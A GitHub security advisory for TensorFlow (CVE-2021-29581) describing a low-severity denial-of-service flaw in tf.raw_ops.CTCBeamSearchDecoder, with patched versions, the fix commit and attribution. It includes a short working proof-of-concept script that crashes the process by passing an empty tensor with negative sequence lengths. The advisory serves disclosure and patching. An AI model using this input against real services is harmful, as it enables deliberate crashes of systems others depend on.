Segfault in `CTCBeamSearchDecoder`

Low **mihaimaruseac** published **GHSA-vq2r-5xvm-3hc3** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

Due to lack of validation in `tf.raw_ops.CTCBeamSearchDecoder`, an attacker can trigger denial of service via segmentation faults:

```
import tensorflow as tf

inputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)
sequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],
shape=[8], dtype=tf.int32)
beam_width = 10
top_paths = 3
merge_repeated = True

tf.raw_ops.CTCBeamSearchDecoder(
  inputs=inputs, sequence_length=sequence_length, beam_width=beam_width,
  top_paths=top_paths, merge_repeated=merge_repeated)
```

The implementation fails to detect cases when the input tensor is empty and proceeds to read data from a null buffer.

Patches

We have patched the issue in GitHub commit b1b323042264740c398140da32e93fb9c2c9f33e.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29581

Weaknesses

No CWEs